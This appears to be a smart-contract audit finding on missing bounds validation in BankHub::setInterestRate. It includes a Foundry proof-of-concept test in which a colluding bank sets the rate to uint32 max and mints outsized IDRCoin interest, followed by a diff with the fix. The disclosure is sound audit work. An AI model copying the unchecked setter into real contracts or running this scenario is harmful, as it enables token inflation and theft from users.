# [H-05] Improper Input Validation in `BankHub::setInterestRate` Allows Malicious Attackers to Collaborate with Banks and Arbitrarily Multiply IDRCoin

## Submitter

ZafiN

## Finding description and impact

The `BankHub::setInterestRate` function suffers from improper input validation. These weaknesses create a serious vulnerability that attacker collaborating with malicious banks can exploit. By manipulating the interest rate, attacker collaborating with malicious bank can arbitrarily multiply its IDRCoin holdings within a short period of time.

The impact of this issue is significant. Malicious actors could potentially accumulate large amounts of IDRCoin by exploiting these flaws, leading to financial instability and unfair advantages within the system. This could result in financial losses, a devaluation of IDRCoin, and a loss of trust in the platform, which could have far-reaching consequences for legitimate users and investors.

## Proof of Concept


```js
    // set interest rate for saving account
    // this function would retroactively apply the new interest rate to all user savingAmount
    function setInterestRate(uint32 _interestRate) external onlyWhiteListed {
        interestRate[msg.sender] = _interestRate;
    }

```

In the `setInterestRate` function, a bank can set the interest rate to any value within the range of an unsigned 32-bit integer. Although there are state variables MIN_INTEREST_RATE and MAX_INTEREST_RATE that implicitly define a valid range for the interest rate (between 5 and 100), the function does not enforce these limits. An exploitation scenario that takes advantage of this vulnerability involves an attacker collaborating with a whitelisted bank. In this scenario, the attacker deposits funds into the whitelisted bank, and before attacker initiates a withdrawal, the bank alters the interest rate to the maximum value allowed by the unsigned 32-bit integer. This causes the user to receive an exceptionally large amount of minting interest from the `BankHub`. Afterward, the bank resets the interest rate back to a normal range (between 5 and 100), preventing other users from exploiting the vulnerability.

This vulnerabilities allows a malicious bank that collaborating with attacker to exploit interest rate mechanisms, resulting in the arbitrary multiplication of IDRCoin holdings in a very short time.

To verify this findings, add the following test to `Base.t.sol`:

```js
    function test_canDepositAndWithdrawWithLargeInterestAfterSetTheInterestRateToMaxUint32() public {
        address attacker = makeAddr(""attacker"");

        // Initiate the attacker with 100e6 IDRCoin
        vm.startPrank(address(bankHub));
        idrCoin.mint(attacker, 100e6);
        vm.stopPrank();

        vm.warp(1000);
        
        uint256 amount = idrCoin.balanceOf(attacker);
        
        vm.startPrank(attacker);
        idrCoin.approve(address(bankHub), amount);
        bankHub.depositToBank(amount, bankABC);       
        vm.stopPrank();
        
        uint256 durationInSeconds = 60 seconds;
        vm.warp(1000 + durationInSeconds);

        vm.prank(bankABC);
        bankHub.setInterestRate(type(uint32).max);
        
        vm.prank(attacker);
        bankHub.withdraw(amount, bankABC);


        uint256 interestWithTax = idrCoin.balanceOf(attacker) - amount; 

        uint256 interestWithTaxPercentageFromAmount = (interestWithTax * 100) / amount;
        console.log(""After %d seconds depositing, the interest is %d percents from amount. What a big interest that malicious bank can get only in %d seconds !!!"", durationInSeconds, interestWithTaxPercentageFromAmount, durationInSeconds);
        vm.stopPrank();
    }
```

then run `forge test --mt test_canDepositAndWithdrawWithLargeInterestAfterSetTheInterestRateToMaxUint32 -vvv`. the test would PASS:

```bash
Ran 1 test for test/Base.t.sol:Base
[PASS] test_canDepositAndWithdrawWithLargeInterestAfterSetTheInterestRateToMaxUint32() (gas: 174911)
Logs:
  After 60 seconds depositing, the interest is 7190 percents from amount. What a big interest that malicious bank collaborating with attacker can get only in 60 seconds !!!

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 12.51ms (1.36ms CPU time)

Ran 1 test suite in 49.35ms (12.51ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

## Recommended mitigation steps

Add an input validation check in the `setInterestRate` function to ensure the interest rate value is within the range of [5, 100].

```diff
diff --git a/src/BankHub.sol b/src/BankHub.sol
index c9b6d40..8b7715e 100644
--- a/src/BankHub.sol
+++ b/src/BankHub.sol

@@ -115,7 +116,11 @@ contract BankHub{
    // set interest rate for saving account
    // this function would retroactively apply the new interest rate to all user savingAmount
    function setInterestRate(uint32 _interestRate) external onlyWhiteListed {
        
+        if (_interestRate < MIN_INTEREST_RATE) {
+            revert invalidInterestRate();
+        }
+        if (_interestRate > MAX_INTEREST_RATE) {
+            revert invalidInterestRate();
+        }

        interestRate[msg.sender] = _interestRate;
    }
     }

```
